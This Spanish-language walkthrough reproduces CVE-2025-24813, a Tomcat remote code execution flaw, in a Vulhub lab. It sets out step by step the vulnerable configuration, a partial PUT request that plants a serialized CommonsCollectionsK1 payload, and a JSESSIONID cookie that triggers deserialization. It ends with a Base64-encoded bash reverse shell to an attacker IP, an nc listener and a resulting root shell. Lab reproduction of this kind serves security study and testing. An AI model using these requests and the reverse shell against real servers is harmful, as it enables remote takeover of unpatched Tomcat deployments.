Introducción a la Vulnerabilidad
Apache Tomcat es un servidor web de código abierto muy utliizado, que sirve como implementación de referencia para diversas tecnologías Java como Servlet, JavaServer Pages (JSP), Java Expression Language (EL) y WebSocket.
Una vulnerabilidad de ejecución remota de código (RCE), identificada como CVE-2025-24813, ha sido descubierta en versiones de Tomcat 9.x (hasta la 9.0.97), 10.x (hasta la 10.1.34) y 11.x (hasta la 11.0.2). Esta falla permite a un atacante escribir archivos arbitrarios en el servidor y, posteriormente, desencadenar una deserialización de datos maliciosos, resultando en RCE. La explotación de esta vulnerabilidad se materializa cuando Tomcat está configurado con un DefaultServlet modificable (readonly=false) y, simultáneamente, se utiliza la persistencia de sesiones basada en archivos.
Preparación del Entorno
Para replicar la vulnerabilidad, se recomienda el uso del entorno de prueba de Vulhub para CVE-2025-24813. Asumiendo que Docker está instalado, navegue al directorio correspondiente en Vulhub y ejecute los siguientes comandos:
cd /ruta/a/vulhub/tomcat/CVE-2025-24813
docker-compose build
docker-compose up -d
Una vez que el servicio esté activo, acceda a http://su-ip:8080 en su navegador para confirmar que la página de ejemplo de Tomcat se carga correctamente.
Detalles de la Configuración Vulnerable
La raíz de esta vulnerabilidad reside en la combinación de dos configuraciones específicas en Apache Tomcat:
-
El
DefaultServletenconf/web.xmlestá configurado conreadonly=false, lo que permite la subida y modificación de archivos:<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> -
En
conf/context.xml, Tomcat está configurado para usar persistencia de sesiones basada en archivos:<Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>
Ambas configuraicones utilizan la misma ruta de almacenamiento predeterminada: $CATALINA_BASE/work/Catalina/localhost/ROOT. La clave para la explotación es que, al procesar solicitudes PUT parciales (utilizando el encabezado Content-Range), Tomcat convierte los separadores de ruta (/) en puntos (.) y almacena el archivo temporalmente en el directorio de almacenamiento de sesiones.
El entorno de Vulhub ya tiene estas configuraciones predefinidas.
Explotación mediante CommonsCollectionsK1
El proceso para lograr la ejecución remota de código se basa en los siguientes pasos:
- El
DefaultServletpermite la subida de archivos gracias areadonly=false. - La funcionalidad de PUT parcial está habilitada por defecto en el servidor.
- Tomcat persiste las sesiones en archivos, con una ruta predeterminada conocida:
$CATALINA_BASE/work/Catalina/localhost/ROOT. - Se explota una cadena de deserialización, en este caso CommonsCollectionsK1, para escribir un archivo con datos serializados maliciosos en el directorio temporal.
- Se fuerza la deserialización de este archivo manipulando la cookie
JSESSIONID.
Inclusión de la Librería Commons Collections
Para que la cadena de explotación CommonsCollectionsK1 funcione, la librería commons-collections-3.2.1.jar debe estar presente en el classpath de la aplicación web. Modifique el archivo docker-compose.yml de la siguiente manera para montarla en el contenedor:
services:
webserver: # Renamed service from tomcat to webserver
build: .
volumes:
- ./lib_colecciones/commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar # Changed local path
ports:
- "8080:8080"
Vuelva a levantar el contenedor para aplicar los cambios:
docker-compose up --force-recreate
Generación del Payload
Utilice una herramienta de generación de payloads de deserialización (como el módulo Yso-Java Hack de Yakit) para construir un payload malicioso. Seleccione la cadena CommonsCollectionsK1-RuntimeExec e incorpore el comando que desea ejecutar en el sistema objetivo.
Envío de la Solicitud PUT
Ahora, envíe una solicitud PUT parcial que incluya el encabezado Content-Range. Esto permitirá escribir un archivo llamado .evil_session (o similar) en el directorio temporal $CATALINA_BASE/work/Catalina/localhost/ROOT. Este archivo contendrá el payload serializado:
PUT /temp_data/session_exploit HTTP/1.1
Host: su-ip:8080
User-Agent: Browser/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: */*
Content-Type: application/octet-stream
Content-Length: 1200
Content-Range: bytes 0-1199/1500
[SU-PAYLOAD-SERIALIZADO-AQUI]
Tras enviar la solicitud, verifique la creación del archivo en el servidor:
root@a1b2c3d4e5f6:/usr/local/tomcat/work/Catalina/localhost/ROOT# ls -a
. .. org .evil_session
Activación de la Deserialización
Finalmente, envíe una solicitud GET con la cookie JSESSIONID establecida al nombre del archivo serializado (.evil_session en este ejemplo, precedido por un punto). Esto forzará a Tomcat a deserializar el contenido del archivo, ejecutando el comando incrustado en el payload. Si el comando era, por ejemplo, crear un archivo /tmp/poc_success, puede verificarlo:
GET / HTTP/1.1
Host: su-ip:8080
Cookie: JSESSIONID=.evil_session
User-Agent: Browser/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
En el servidor, puede observar el resultado:
root@a1b2c3d4e5f6:/tmp# ls
poc_success
Esto confirma la ejecución exitosa del comando.
Obtención de una Shell Reversa
Para obtener una shell interactiva, siga un proceso similar, pero el payload debe contener un comando de shell reversa.
-
Genere un comando de shell reversa. Por ejemplo, utilizando un generador online, puede obtener algo como:
bash -i >& /dev/tcp/192.168.1.100/5555 0>&1Luego, codifíquelo en Base64 para evitar problemas con caracteres especiales:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i} -
Utilice la herramienta de generación de payloads (como Yso-Java Hack) con la cadena
CommonsCollectionsK1-RuntimeExec, pero esta vez, el comando a incrustar será el comando Base64 de la shell reversa. -
En su máquina de atacante, configure un oyente (listener) en el puerto especificado (por ejemplo,
5555):nc -lvnp 5555 -
Repita los pasos de envío de PUT y GET, asegurándose de que el archivo serializado se llame
.rev_shell_sessiony la cookieJSESSIONIDapunte a él.
Una vez que la solicitud GET se envíe, la shell reversa debería conectarse a su oyente:
Listening on [0.0.0.0] (any)
Connection received on 172.17.0.2 39434
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a1b2c3d4e5f6:/usr/local/tomcat# whoami
root
root@a1b2c3d4e5f6:/usr/local/tomcat# pwd
/usr/local/tomcat